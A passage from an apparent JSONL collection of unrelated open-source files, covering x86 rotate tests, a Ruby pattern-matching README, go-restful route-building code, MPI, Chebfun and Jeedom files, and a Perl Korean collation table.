is32BitCodeSegment: false,\n operand1: \"bl\",\n operand2: \"10\",\n registers: {\n bl: parseInt(\"00110101\", 2),\n\n cf: 1, // Set CF to ensure it is shifted into LSB\n of: 1 // Set OF to ensure it is cleared\n },\n expectedRegisters: {\n bl: parseInt(\"01101011\", 2),\n\n cf: 0, // CF should be left with zero\n of: 0 // Should be cleared\n }\n },\n \"16-bit rotates should be modulo 17\": {\n is32BitCodeSegment: false,\n operand1: \"bx\",\n operand2: \"18\",\n registers: {\n bx: parseInt(\"0011010111110101\", 2),\n\n cf: 1, // Set CF to ensure it is shifted into LSB\n of: 1 // Set OF to ensure it is cleared\n },\n expectedRegisters: {\n bx: parseInt(\"0110101111101011\", 2),\n\n cf: 0, // CF should be left with zero\n of: 0 // Should be cleared\n }\n }\n }, function (scenario, description) {\n var is32BitCodeSegment = scenario.is32BitCodeSegment;\n\n describe(\"when code segment is \" + (is32BitCodeSegment ? 32 : 16) + \"-bit\", function () {\n describe(description, function () {\n beforeEach(function (done) {\n var assembly = util.heredoc(function (/*<< \"Hello, World!\"\n ```\n\n Patterns to match against are included in the parameter list:\n\n ```ruby\n defn(:greet, :male) {\n puts \"Hello, sir!\"\n }\n\n defn(:greet, :female) {\n puts \"Hello, ma'am!\"\n }\n\n ...\n\n foo.greet(:male) => \"Hello, sir!\"\n foo.greet(:female) => \"Hello, ma'am!\"\n ```\n\n If a particular method call can not be matched a *NoMethodError* is thrown with\n a reasonably helpful error message:\n\n ```ruby\n foo.greet(:unknown) => NoMethodError: no method `greet` matching [:unknown] found for class Foo\n foo.greet => NoMethodError: no method `greet` matching [] found for class Foo\n ```\n\n Parameters that are expected to exist but that can take any value are considered\n *unbound* parameters. Unbound parameters are specified by the `_` underscore\n character or `UNBOUND`:\n\n ```ruby\n defn(:greet, _) do |name|\n \"Hello, {name}!\"\n end\n\n defn(:greet, UNBOUND, UNBOUND) do |first, last|\n \"Hello, {first} {last}!\"\n end\n\n ...\n\n foo.greet('Jerry') => \"Hello, Jerry!\"\n ```\n\n All unbound parameters will be passed to the block in the order they are specified in the definition:\n\n ```ruby\n defn(:greet, _, _) do |first, last|\n \"Hello, {first} {last}!\"\n end\n\n ...\n\n foo.greet('Jerry', \"D'Antonio\") => \"Hello, Jerry D'Antonio!\"\n ```\n\n If for some reason you don't care about one or more unbound parameters within\n the block you can use the `_` underscore character in the block parameters list\n as well:\n\n ```ruby\n defn(:greet, _, _, _) do |first, _, last|\n \"Hello, {first} {last}!\"\n end\n\n ...\n\n foo.greet('Jerry', \"I'm not going to tell you my middle name!\", \"D'Antonio\") => \"Hello, Jerry D'Antonio!\"\n ```\n\n Hash parameters can match against specific keys and either bound or unbound parameters. This allows for\n function dispatch by hash parameters without having to dig through the hash:\n\n ```ruby\n defn(:hashable, {foo: :bar}) { |opts|\n :foo_bar\n }\n defn(:hashable, {foo: _}) { |f|\n f\n }\n\n ...\n\n foo.hashable({foo: :bar}) => :foo_bar\n foo.hashable({foo: :baz}) => :baz\n ```\n\n The Ruby idiom of the final parameter being a hash is also supported:\n\n ```ruby\n defn(:options, _) { |opts|\n opts\n }\n\n ...\n\n foo.options(bar: :baz, one: 1, many: 2)\n ```\n\n As is the Ruby idiom of variable-length argument lists. The constant `ALL` as the last parameter\n will match one or more arguments and pass them to the block as an array:\n\n ```ruby\n defn(:baz, Integer, ALL) { |int, args|\n [int, args]\n }\n defn(:baz, ALL) { |args|\n args\n }\n ```\n\n Superclass polymorphism is supported as well. If an object cannot match a method\n signature it will defer to the parent class:\n\n ```ruby\n class Bar\n def greet\n return 'Hello, World!'\n end\n end\n\n class Foo < Bar\n include Functional::PatternMatching\n\n defn(:greet, _) do |name|\n \"Hello, {name}!\"\n end\n end\n\n ...\n\n foo.greet('Jerry') => \"Hello, Jerry!\"\n foo.greet => \"Hello, World!\"\n ```\n\n Guard clauses in Erlang are defined with `when` clauses between the parameter list and the function body.\n In Ruby, guard clauses are defined by chaining a call to `when` onto the the `defn` call and passing\n a block. If the guard clause evaluates to true then the function will match. If the guard evaluates\n to false the function will not match and pattern matching will continue:\n\n Erlang:\n\n ```erlang\n old_enough(X) when X >= 16 -> true;\n old_enough(_) -> false.\n ```\n\n Ruby:\n\n ```ruby\n defn(:old_enough, _){ |_| true }.when{|x| x >= 16 }\n defn(:old_enough, _){ |_| false }\n ```\n\n##### Order Matters\n\n As with Erlang, the order of pattern matches is significant. Patterns will be matched\n *in the order declared* and the first match will be used. If a particular function call\n can be matched by more than one pattern, the *first matched pattern* will be used. It\n is the programmer's responsibility to ensure patterns are declared in the correct order.\n\n##### Blocks and Procs and Lambdas, oh my!\n\n When using this gem it is critical to remember that `defn` takes a block and\n that blocks in Ruby have special rules. There are [plenty](https://www.google.com/search?q=ruby+block+proc+lambda)\n of good tutorials on the web explaining [blocks](http://www.robertsosinski.com/2008/12/21/understanding-ruby-blocks-procs-and-lambdas/)\n and [Procs](https://coderwall.com/p/_-_mha) and [lambdas](http://railsguru.org/2010/03/learn-ruby-procs-blocks-lambda/)\n in Ruby. Please read them. Please don't submit a bug report if you use a\n `return` statement within your `defn` and your code blows up with a\n [LocalJumpError](http://ruby-doc.org/core-2.0/LocalJumpError.html).\n\n##### Examples\n\n For more examples see the integration tests in *spec/integration_spec.rb*.\n\n Simple Functions\n\n This example is based on [Syntax in defnctions: Pattern Matching](http://learnyousomeerlang.com/syntax-in-defnctions) in [Learn You Some Erlang for Great Good!](http://learnyousomeerlang.com/).\n\n Erlang:\n\n ```erlang\n greet(male, Name) ->\n io:format(\"Hello, Mr. ~s!\", [Name]);\n greet(female, Name) ->\n io:format(\"Hello, Mrs. ~s!\", [Name]);\n greet(_, Name) ->\n io:format(\"Hello, ~s!\", [Name]).\n ```\n\n Ruby:\n\n ```ruby\n require 'functional/pattern_matching'\n\n class Foo\n include Functional::PatternMatching\n\n defn(:greet, _) do |name|\n \"Hello, {name}!\"\n end\n\n defn(:greet, :male, _) { |name|\n \"Hello, Mr. {name}!\"\n }\n defn(:greet, :female, _) { |name|\n \"Hello, Ms. {name}!\"\n }\n defn(:greet, _, _) { |_, name|\n \"Hello, {name}!\"\n }\n end\n ```\n\n##### Simple Functions with Overloading\n\n This example is based on [Syntax in defnctions: Pattern Matching](http://learnyousomeerlang.com/syntax-in-defnctions) in [Learn You Some Erlang for Great Good!](http://learnyousomeerlang.com/).\n\n Erlang:\n\n ```erlang\n greet(Name) ->\n io:format(\"Hello, ~s!\", [Name]).\n\n greet(male, Name) ->\n io:format(\"Hello, Mr. ~s!\", [Name]);\n greet(female, Name) ->\n io:format(\"Hello, Mrs. ~s!\", [Name]);\n greet(_, Name) ->\n io:format(\"Hello, ~s!\", [Name]).\n ```\n\n Ruby:\n\n ```ruby\n require 'functional/pattern_matching'\n\n class Foo\n include Functional::PatternMatching\n\n defn(:greet, _) do |name|\n \"Hello, {name}!\"\n end\n\n defn(:greet, :male, _) { |name|\n \"Hello, Mr. {name}!\"\n }\n defn(:greet, :female, _) { |name|\n \"Hello, Ms. {name}!\"\n }\n defn(:greet, nil, _) { |name|\n \"Goodbye, {name}!\"\n }\n defn(:greet, _, _) { |_, name|\n \"Hello, {name}!\"\n }\n end\n ```\n\n Constructor Overloading\n\n ```ruby\n require 'functional/pattern_matching'\n\n class Foo\n include Functional::PatternMatching\n\n defn(:initialize) { @name = 'baz' }\n defn(:initialize, _) {|name| @name = name.to_s }\n end\n ```\n\n Matching by Class/Datatype\n\n ```ruby\n require 'functional/pattern_matching'\n\n class Foo\n include Functional::PatternMatching\n\n defn(:concat, Integer, Integer) { |first, second|\n first + second\n }\n defn(:concat, Integer, String) { |first, second|\n \"{first} {second}\"\n }\n defn(:concat, String, String) { |first, second|\n first + second\n }\n defn(:concat, Integer, _) { |first, second|\n first + second.to_i\n }\n end\n ```\n\n Matching a Hash Parameter\n\n ```ruby\n require 'functional/pattern_matching'\n\n class Foo\n include Functional::PatternMatching\n\n defn(:hashable, {foo: :bar}) { |opts|\n matches any hash with key :foo and value :bar\n :foo_bar\n }\n defn(:hashable, {foo: _, bar: _}) { |f, b|\n matches any hash with keys :foo and :bar\n passes the values associated with those keys to the block\n [f, b]\n }\n defn(:hashable, {foo: _}) { |f|\n matches any hash with key :foo\n passes the value associated with that key to the block\n must appear AFTER the prior match or it will override that one\n f\n }\n defn(:hashable, {}) { |_|\n matches an empty hash\n :empty\n }\n defn(:hashable, _) { |opts|\n matches any hash (or any other value)\n opts\n }\n end\n\n ...\n\n foo.hashable({foo: :bar}) => :foo_bar\n foo.hashable({foo: :baz}) => :baz\n foo.hashable({foo: 1, bar: 2}) => [1, 2]\n foo.hashable({foo: 1, baz: 2}) => 1\n foo.hashable({bar: :baz}) => {bar: :baz}\n foo.hashable({}) => :empty\n ```\n\n Variable Length Argument Lists with ALL\n\n ```ruby\n defn(:all, :one, ALL) { |args|\n args\n }\n defn(:all, :one, Integer, ALL) { |int, args|\n [int, args]\n }\n defn(:all, 1, _, ALL) { |var, _, *args|\n [var, args]\n }\n defn(:all, ALL) { |*args|\n args\n }\n\n ...\n\n foo.all(:one, 'a', 'bee', :see) => ['a', 'bee', :see]\n foo.all(:one, 1, 'bee', :see) => [1, 'bee', :see]\n foo.all(1, 'a', 'bee', :see) => ['a', ['bee', :see]]\n foo.all('a', 'bee', :see) => ['a', 'bee', :see]\n foo.all() => NoMethodError: no method `all` matching [] found for class Foo\n ```\n\n##### Guard Clauses\n\n These examples are based on [Syntax in defnctions: Pattern Matching](http://learnyousomeerlang.com/syntax-in-defnctions)\n in [Learn You Some Erlang for Great Good!](http://learnyousomeerlang.com/).\n\n Erlang:\n\n ```erlang\n old_enough(X) when X >= 16 -> true;\n old_enough(_) -> false.\n\n right_age(X) when X >= 16, X =< 104 ->\n true;\n right_age(_) ->\n false.\n\n wrong_age(X) when X < 16; X > 104 ->\n true;\n wrong_age(_) ->\n false.\n ```\n\n ```ruby\n defn(:old_enough, _){ |_| true }.when{|x| x >= 16 }\n defn(:old_enough, _){ |_| false }\n\n defn(:right_age, _) { |_|\n true\n }.when{|x| x >= 16 && x <= 104 }\n\n defn(:right_age, _) { |_|\n false\n }\n\n defn(:wrong_age, _) { |_|\n false\n }.when{|x| x < 16 || x > 104 }\n\n defn(:wrong_age, _) { |_|\n true\n }\n ```\n\n### Inspiration\n\n Pattern matching has its roots in logic programming languages such as\n [Prolog](http://en.wikipedia.org/wiki/Prolog). Pattern matching is a core\n feature of the [Erlang](http://www.erlang.org/) programming language. A few\n helpful resources are:\n\n * Erlang [modules](http://erlang.org/doc/reference_manual/modules.html)\n * Erlang [pattern matching](http://erlang.org/doc/reference_manual/patterns.html)\n"} +{"text": "package restful\n\n// Copyright 2013 Ernest Micklei. All rights reserved.\n// Use of this source code is governed by a license\n// that can be found in the LICENSE file.\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"reflect\"\n\t\"runtime\"\n\t\"strings\"\n\t\"sync/atomic\"\n\n\t\"github.com/emicklei/go-restful/log\"\n)\n\n// RouteBuilder is a helper to construct Routes.\ntype RouteBuilder struct {\n\trootPath string\n\tcurrentPath string\n\tproduces []string\n\tconsumes []string\n\thttpMethod string // required\n\tfunction RouteFunction // required\n\tfilters []FilterFunction\n\n\ttypeNameHandleFunc TypeNameHandleFunction // required\n\n\t// documentation\n\tdoc string\n\tnotes string\n\toperation string\n\treadSample, writeSample interface{}\n\tparameters []*Parameter\n\terrorMap map[int]ResponseError\n\tmetadata map[string]interface{}\n}\n\n// Do evaluates each argument with the RouteBuilder itself.\n// This allows you to follow DRY principles without breaking the fluent programming style.\n// Example:\n// \t\tws.Route(ws.DELETE(\"/{name}\").To(t.deletePerson).Do(Returns200, Returns500))\n//\n//\t\tfunc Returns500(b *RouteBuilder) {\n//\t\t\tb.Returns(500, \"Internal Server Error\", restful.ServiceError{})\n//\t\t}\nfunc (b *RouteBuilder) Do(oneArgBlocks ...func(*RouteBuilder)) *RouteBuilder {\n\tfor _, each := range oneArgBlocks {\n\t\teach(b)\n\t}\n\treturn b\n}\n\n// To bind the route to a function.\n// If this route is matched with the incoming Http Request then call this function with the *Request,*Response pair. Required.\nfunc (b *RouteBuilder) To(function RouteFunction) *RouteBuilder {\n\tb.function = function\n\treturn b\n}\n\n// Method specifies what HTTP method to match. Required.\nfunc (b *RouteBuilder) Method(method string) *RouteBuilder {\n\tb.httpMethod = method\n\treturn b\n}\n\n// Produces specifies what MIME types can be produced ; the matched one will appear in the Content-Type Http header.\nfunc (b *RouteBuilder) Produces(mimeTypes ...string) *RouteBuilder {\n\tb.produces = mimeTypes\n\treturn b\n}\n\n// Consumes specifies what MIME types can be consumes ; the Accept Http header must matched any of these\nfunc (b *RouteBuilder) Consumes(mimeTypes ...string) *RouteBuilder {\n\tb.consumes = mimeTypes\n\treturn b\n}\n\n// Path specifies the relative (w.r.t WebService root path) URL path to match. Default is \"/\".\nfunc (b *RouteBuilder) Path(subPath string) *RouteBuilder {\n\tb.currentPath = subPath\n\treturn b\n}\n\n// Doc tells what this route is all about. Optional.\nfunc (b *RouteBuilder) Doc(documentation string) *RouteBuilder {\n\tb.doc = documentation\n\treturn b\n}\n\n// A verbose explanation of the operation behavior. Optional.\nfunc (b *RouteBuilder) Notes(notes string) *RouteBuilder {\n\tb.notes = notes\n\treturn b\n}\n\n// Reads tells what resource type will be read from the request payload. Optional.\n// A parameter of type \"body\" is added ,required is set to true and the dataType is set to the qualified name of the sample's type.\nfunc (b *RouteBuilder) Reads(sample interface{}) *RouteBuilder {\n\tfn := b.typeNameHandleFunc\n\tif fn == nil {\n\t\tfn = reflectTypeName\n\t}\n\ttypeAsName := fn(sample)\n\n\tb.readSample = sample\n\tbodyParameter := &Parameter{&ParameterData{Name: \"body\"}}\n\tbodyParameter.beBody()\n\tbodyParameter.Required(true)\n\tbodyParameter.DataType(typeAsName)\n\tb.Param(bodyParameter)\n\treturn b\n}\n\n// ParameterNamed returns a Parameter already known to the RouteBuilder. Returns nil if not.\n// Use this to modify or extend information for the Parameter (through its Data()).\nfunc (b RouteBuilder) ParameterNamed(name string) (p *Parameter) {\n\tfor _, each := range b.parameters {\n\t\tif each.Data().Name == name {\n\t\t\treturn each\n\t\t}\n\t}\n\treturn p\n}\n\n// Writes tells what resource type will be written as the response payload. Optional.\nfunc (b *RouteBuilder) Writes(sample interface{}) *RouteBuilder {\n\tb.writeSample = sample\n\treturn b\n}\n\n// Param allows you to document the parameters of the Route. It adds a new Parameter (does not check for duplicates).\nfunc (b *RouteBuilder) Param(parameter *Parameter) *RouteBuilder {\n\tif b.parameters == nil {\n\t\tb.parameters = []*Parameter{}\n\t}\n\tb.parameters = append(b.parameters, parameter)\n\treturn b\n}\n\n// Operation allows you to document what the actual method/function call is of the Route.\n// Unless called, the operation name is derived from the RouteFunction set using To(..).\nfunc (b *RouteBuilder) Operation(name string) *RouteBuilder {\n\tb.operation = name\n\treturn b\n}\n\n// ReturnsError is deprecated, use Returns instead.\nfunc (b *RouteBuilder) ReturnsError(code int, message string, model interface{}) *RouteBuilder {\n\tlog.Print(\"ReturnsError is deprecated, use Returns instead.\")\n\treturn b.Returns(code, message, model)\n}\n\n// Returns allows you to document what responses (errors or regular) can be expected.\n// The model parameter is optional ; either pass a struct instance or use nil if not applicable.\nfunc (b *RouteBuilder) Returns(code int, message string, model interface{}) *RouteBuilder {\n\terr := ResponseError{\n\t\tCode: code,\n\t\tMessage: message,\n\t\tModel: model,\n\t\tIsDefault: false,\n\t}\n\t// lazy init because there is no NewRouteBuilder (yet)\n\tif b.errorMap == nil {\n\t\tb.errorMap = map[int]ResponseError{}\n\t}\n\tb.errorMap[code] = err\n\treturn b\n}\n\n// DefaultReturns is a special Returns call that sets the default of the response ; the code is zero.\nfunc (b *RouteBuilder) DefaultReturns(message string, model interface{}) *RouteBuilder {\n\tb.Returns(0, message, model)\n\t// Modify the ResponseError just added/updated\n\tre := b.errorMap[0]\n\t// errorMap is initialized\n\tb.errorMap[0] = ResponseError{\n\t\tCode: re.Code,\n\t\tMessage: re.Message,\n\t\tModel: re.Model,\n\t\tIsDefault: true,\n\t}\n\treturn b\n}\n\n// Metadata adds or updates a key=value pair to the metadata map.\nfunc (b *RouteBuilder) Metadata(key string, value interface{}) *RouteBuilder {\n\tif b.metadata == nil {\n\t\tb.metadata = map[string]interface{}{}\n\t}\n\tb.metadata[key] = value\n\treturn b\n}\n\n// ResponseError represents a response; not necessarily an error.\ntype ResponseError struct {\n\tCode int\n\tMessage string\n\tModel interface{}\n\tIsDefault bool\n}\n\nfunc (b *RouteBuilder) servicePath(path string) *RouteBuilder {\n\tb.rootPath = path\n\treturn b\n}\n\n// Filter appends a FilterFunction to the end of filters for this Route to build.\nfunc (b *RouteBuilder) Filter(filter FilterFunction) *RouteBuilder {\n\tb.filters = append(b.filters, filter)\n\treturn b\n}\n\n// If no specific Route path then set to rootPath\n// If no specific Produces then set to rootProduces\n// If no specific Consumes then set to rootConsumes\nfunc (b *RouteBuilder) copyDefaults(rootProduces, rootConsumes []string) {\n\tif len(b.produces) == 0 {\n\t\tb.produces = rootProduces\n\t}\n\tif len(b.consumes) == 0 {\n\t\tb.consumes = rootConsumes\n\t}\n}\n\n// typeNameHandler sets the function that will convert types to strings in the parameter\n// and model definitions.\nfunc (b *RouteBuilder) typeNameHandler(handler TypeNameHandleFunction) *RouteBuilder {\n\tb.typeNameHandleFunc = handler\n\treturn b\n}\n\n// Build creates a new Route using the specification details collected by the RouteBuilder\nfunc (b *RouteBuilder) Build() Route {\n\tpathExpr, err := newPathExpression(b.currentPath)\n\tif err != nil {\n\t\tlog.Printf(\"[restful] Invalid path:%s because:%v\", b.currentPath, err)\n\t\tos.Exit(1)\n\t}\n\tif b.function == nil {\n\t\tlog.Printf(\"[restful] No function specified for route:\" + b.currentPath)\n\t\tos.Exit(1)\n\t}\n\toperationName := b.operation\n\tif len(operationName) == 0 && b.function != nil {\n\t\t// extract from definition\n\t\toperationName = nameOfFunction(b.function)\n\t}\n\troute := Route{\n\t\tMethod: b.httpMethod,\n\t\tPath: concatPath(b.rootPath, b.currentPath),\n\t\tProduces: b.produces,\n\t\tConsumes: b.consumes,\n\t\tFunction: b.function,\n\t\tFilters: b.filters,\n\t\trelativePath: b.currentPath,\n\t\tpathExpr: pathExpr,\n\t\tDoc: b.doc,\n\t\tNotes: b.notes,\n\t\tOperation: operationName,\n\t\tParameterDocs: b.parameters,\n\t\tResponseErrors: b.errorMap,\n\t\tReadSample: b.readSample,\n\t\tWriteSample: b.writeSample,\n\t\tMetadata: b.metadata}\n\troute.postBuild()\n\treturn route\n}\n\nfunc concatPath(path1, path2 string) string {\n\treturn strings.TrimRight(path1, \"/\") + \"/\" + strings.TrimLeft(path2, \"/\")\n}\n\nvar anonymousFuncCount int32\n\n// nameOfFunction returns the short name of the function f for documentation.\n// It uses a runtime feature for debugging ; its value may change for later Go versions.\nfunc nameOfFunction(f interface{}) string {\n\tfun := runtime.FuncForPC(reflect.ValueOf(f).Pointer())\n\ttokenized := strings.Split(fun.Name(), \".\")\n\tlast := tokenized[len(tokenized)-1]\n\tlast = strings.TrimSuffix(last, \")·fm\") // < Go 1.5\n\tlast = strings.TrimSuffix(last, \")-fm\") // Go 1.5\n\tlast = strings.TrimSuffix(last, \"·fm\") // < Go 1.5\n\tlast = strings.TrimSuffix(last, \"-fm\") // Go 1.5\n\tif last == \"func1\" { // this could mean conflicts in API docs\n\t\tval := atomic.AddInt32(&anonymousFuncCount, 1)\n\t\tlast = \"func\" + fmt.Sprintf(\"%d\", val)\n\t\tatomic.StoreInt32(&anonymousFuncCount, val)\n\t}\n\treturn last\n}\n"} +{"text": "/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil ; -*- */\n/*\n *\n * (C) 2003 by Argonne National Laboratory.\n * See COPYRIGHT in top-level directory.\n */\n#include \"mpi.h\"\n#include \n#include \"mpitest.h\"\n\nint main( int argc, char *argv[] )\n{\n int errs = 0;\n int topo_type, size, dims[1], periods[1];\n MPI_Comm comm;\n\n MTest_Init( &argc, &argv );\n\n /* Check that topo test returns the correct type, including \n MPI_UNDEFINED */\n\n MPI_Topo_test( MPI_COMM_WORLD, &topo_type );\n if (topo_type != MPI_UNDEFINED) {\n\terrs++;\n\tprintf( \"Topo type of comm world is not UNDEFINED\\n\" );\n }\n\n MPI_Comm_size( MPI_COMM_WORLD, &size );\n dims[0] = size;\n periods[0] = 0;\n MPI_Cart_create( MPI_COMM_WORLD, 1, dims, periods, 0, &comm );\n MPI_Topo_test( comm, &topo_type );\n if (topo_type != MPI_CART) {\n\terrs++;\n\tprintf( \"Topo type of cart comm is not CART\\n\" );\n }\n\n MPI_Comm_free( &comm );\n /* FIXME: still need graph example */\n\n MTest_Finalize( errs );\n MPI_Finalize();\n return 0;\n \n}\n"} +{"text": "function pass = test_mult_op\r\n% Check if multiplication with a pointwise multiplication operator\r\n% is identical to a pointwise multiplication of two chebfuns.\r\n\r\n% TAD, 3 Feb 2014\r\n\r\ntol = 1e-14;\r\n\r\nd = [0,2];\r\nx = chebfun('x',d);\r\nf = sin(exp(2*x));\r\ng = x.^3-cos(x);\r\n\r\n% no breaks\r\nF = operatorBlock.mult(f);\r\nerr(1) = norm( F*g - f.*g );\r\n\r\n% breakpoint\r\nf = abs(f);\r\nF = operatorBlock.mult(f);\r\nerr(2) = norm( F*g - f.*g );\r\n\r\n%% Expansion\r\n% Try to let an multiplication operator operate on an array-valued CHEBFUN:\r\nh = cos(x);\r\nM = operatorBlock.mult(h);\r\nV = chebpoly(1:4, d);\r\nerr(3) = norm( M*V - repmat(h, 1, 4).*V);\r\n\r\n%%\r\npass = err < tol;\r\n\r\n\r\nend\n"} +{"text": "/* This file is part of Jeedom.\n*\n* Jeedom is free software: you can redistribute it and/or modify\n* it under the terms of the GNU General Public License as published by\n* the Free Software Foundation, either version 3 of the License, or\n* (at your option) any later version.\n*\n* Jeedom is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n* GNU General Public License for more details.\n*\n* You should have received a copy of the GNU General Public License\n* along with Jeedom. If not, see .\n*/\n\n\"use strict\"\n\nvar $btGlobalLogStopStart = $('#bt_globalLogStopStart')\n\n$('#bt_downloadLog').click(function() {\n window.open('core/php/downloadFile.php?pathfile=log/' + $('.li_log.active').attr('data-log'), \"_blank\", null)\n})\n\n$(\".li_log\").on('click', function() {\n $.clearDivContent('pre_globallog')\n $(\".li_log\").removeClass('active')\n $(this).addClass('active')\n $btGlobalLogStopStart.removeClass('btn-success').addClass('btn-warning')\n .html(' {{Pause}}')\n .attr('data-state',1)\n jeedom.log.autoupdate({\n log : $(this).attr('data-log'),\n display : $('#pre_globallog'),\n search : $('#in_searchGlobalLog'),\n control : $btGlobalLogStopStart,\n })\n})\n\n$('#bt_resetLogFilterSearch').on('click', function () {\n $('#in_searchLogFilter').val('').keyup()\n})\n\n$('#bt_resetGlobalLogSearch').on('click', function () {\n $('#in_searchGlobalLog').val('').keyup()\n})\n\n$(\"#bt_clearLog\").on('click', function(event) {\n jeedom.log.clear({\n log : $('.li_log.active').attr('data-log'),\n success: function(data) {\n $('.li_log.active a').html(' '+$('.li_log.active').attr('data-log'))\n $('.li_log.active i').removeClass().addClass('fas fa-check')\n if ($btGlobalLogStopStart.attr('data-state') == 0) {\n $btGlobalLogStopStart.click()\n }\n }\n })\n})\n\n$(\"#bt_removeLog\").on('click', function(event) {\n jeedom.log.remove({\n log : $('.li_log.active').attr('data-log'),\n success: function(data) {\n loadPage('index.php?v=d&p=log');\n }\n })\n})\n\n$(\"#bt_removeAllLog\").on('click', function(event) {\n bootbox.confirm(\"{{Êtes-vous sûr de vouloir supprimer tous les logs ?}}\", function(result) {\n if (result) {\n jeedom.log.removeAll({\n error: function (error) {\n $('#div_alertError').showAlert({message: error.message, level: 'danger'})\n },\n success: function(data) {\n loadPage('index.php?v=d&p=log')\n }\n })\n }\n })\n})\n\n$(function() {\n var logfile = getUrlVars('logfile')\n if ($('#div_displayLogList .li_log[data-log=\"'+logfile+'\"]').length) {\n $('#div_displayLogList .li_log[data-log=\"'+logfile+'\"]').trigger('click')\n } else {\n $('#div_displayLogList .li_log').first().trigger('click')\n }\n})"} +{"text": "## Komodo Python Macro - select the current word under the cursor \nOriginally published: 2010-01-14 12:24:50 \nLast updated: 2010-01-14 12:30:45 \nAuthor: Todd Whiteman \n \nA [Komodo](http://www.activestate.com/komodo) Python macro that can be used to select the current word under the cursor position.\r\n\r\nJavaScript version here: Recipe 577007.\r\n"} +{"text": "package Unicode::Collate::CJK::Korean;\n\nuse 5.006;\nuse strict;\nuse warnings;\nuse Unicode::Collate;\n\nour $VERSION = '1.12';\n\nmy %jamo2prim = (\n 0x1100, 0x376F, 0x1101, 0x3770, 0x1102, 0x3771, 0x1103, 0x3772,\n 0x1105, 0x3774, 0x1106, 0x3775, 0x1107, 0x3776, 0x1109, 0x3778,\n 0x110A, 0x3779, 0x110B, 0x377A, 0x110C, 0x377B, 0x110E, 0x377D,\n 0x110F, 0x377E, 0x1110, 0x377F, 0x1111, 0x3780, 0x1112, 0x3781,\n 0x1161, 0x37ED, 0x1162, 0x37EE, 0x1163, 0x37EF, 0x1165, 0x37F1,\n 0x1166, 0x37F2, 0x1167, 0x37F3, 0x1168, 0x37F4, 0x1169, 0x37F5,\n 0x116A, 0x37F6, 0x116B, 0x37F7, 0x116C, 0x37F8, 0x116D, 0x37F9,\n 0x116E, 0x37FA, 0x116F, 0x37FB, 0x1170, 0x37FC, 0x1171, 0x37FD,\n 0x1172, 0x37FE, 0x1173, 0x37FF, 0x1174, 0x3800, 0x1175, 0x3801,\n 0x11A8, 0x384B, 0x11AB, 0x384E, 0x11AF, 0x3852, 0x11B7, 0x385A,\n 0x11B8, 0x385B, 0x11BC, 0x385F, 0x11BD, 0x3860,\n); # for DUCET v7.0.0\n\nmy(%u2e, $prim, $wt);\nwhile () {\n last if /^__END__/;\n my @c = split;\n if (@c == 1 && $c[0] =~ /^[A-D]/) {\n\tmy $u = hex $c[0];\n\tmy @h = Unicode::Collate::_decompHangul($u);\n\t$prim = [ map $jamo2prim{$_}, @h ];\n\t$wt = 0x20;\n } else {\n\tfor my $c (@c) {\n\t next if !$c;\n\t $wt++;\n\t $u2e{hex($c)} = [ $wt, @$prim ];\n\t}\n }\n}\n\nsub weightKorean {\n my $u = shift;\n return undef if !exists $u2e{$u};\n my @a = @{ $u2e{$u} };\n my $s = shift @a;\n my $p = shift @a;\n return([ $p, $s, 0x2, $u ], @a);\n}\n\n1;\n__DATA__\nAC00\n4F3D 4F73 5047 50F9 52A0 53EF 5475 54E5 5609 5AC1\n5BB6 6687 67B6 67B7 67EF 6B4C 73C2 75C2 7A3C 82DB\n8304 8857 8888 8A36 8CC8 8DCF 8EFB 8FE6 99D5 4EEE\n50A2 5496 54FF 5777 5B8A 659D 698E 6A9F 73C8 7B33\n801E 8238 846D 8B0C\nAC01\n523B 5374 5404 606A 6164 6BBC 73CF 811A 89BA 89D2\n95A3 537B 54AF 57C6 6409 64F1 6877\nAC04\n4F83 520A 58BE 5978 59E6 5E72 5E79 61C7 63C0 6746\n67EC 687F 6F97 764E 770B 78F5 7A08 7AFF 7C21 809D\n826E 8271 8AEB 9593 5058 6173 681E 69A6 7395 79C6\n831B 884E 8D76 8FC0 9F66\nAC08\n4E6B 559D 66F7 6E34 78A3 7AED 845B 8910 874E 97A8\n5676 696C 79F8 7FAF 880D 9DA1\nAC10\n52D8 574E 582A 5D4C 611F 61BE 6221 6562 67D1 6A44\n6E1B 7518 75B3 76E3 77B0 7D3A 90AF 9451 9452 9F95\n5769 57F3 5D41 5F07 61A8 64BC 6B3F 6B5B 6CD4 6DE6\n6F89 77D9 8F57 9163 9E7B\nAC11\n5323 5CAC 7532 80DB 9240 9598 97D0\nAC15\n525B 5808 59DC 5CA1 5D17 5EB7 5F3A 5F4A 6177 6C5F\n757A 7586 7CE0 7D73 7DB1 7F8C 8154 8221 8591 8941\n8B1B 92FC 964D 9C47 508B 50F5 58C3 5FFC 625B 6760\n6A7F 6BAD 77FC 7A45 7E48 7F61 7F97 7FAB 8333 8C47\n97C1\nAC1C\n4ECB 4EF7 500B 51F1 584F 6137 613E 6168 6539 69EA\n6F11 75A5 7686 76D6 7B87 82A5 84CB 93A7 958B 5274\n5303 63E9 69E9 73A0 78D5 95D3\nAC1D\n5580 5BA2\nAC31\n5751 7CB3 7FB9 785C 8CE1 93D7\nAC39\n91B5\nAC70\n5028 53BB 5C45 5DE8 62D2 636E 64DA 64E7 6E20 70AC\n795B 8DDD 8E1E 907D 9245 92F8 547F 661B 79EC 7B65\n7C67 80E0 8152 82E3 8392 8556 8627 88AA 88FE 99CF\nAC74\n4E7E 4EF6 5065 5DFE 5EFA 6106 6957 8171 8654 8E47\n9375 9A2B 63F5 728D 7777 8930 8B07 97AC\nAC78\n4E5E 5091 6770 6840 4E6C 6705 69A4\nAC80\n5109 528D 5292 6AA2 77BC 9210 9ED4 64BF 82A1\nAC81\n52AB 602F 8FF2 5226 5227\nAC8C\n5048 61A9 63ED\nACA9\n64CA 683C 6A84 6FC0 8188 89A1 9694 630C 6BC4 95C3\n9ABC 9B32 9D03\nACAC\n5805 727D 72AC 7504 7D79 7E6D 80A9 898B 8B74 9063\n9D51 6A2B 72F7 754E 7B67 7E33 7E7E 7F82 8832 9C39\nACB0\n6289 6C7A 6F54 7D50 7F3A 8A23 73A6 89D6 95CB\nACB8\n517C 614A 7B9D 8B19 9257 938C 5094 55DB 5C92 62D1\n6B49 7E11 84B9 9EDA 9F38\nACBD\n4EAC 4FD3 501E 50BE 5106 52C1 52CD 537F 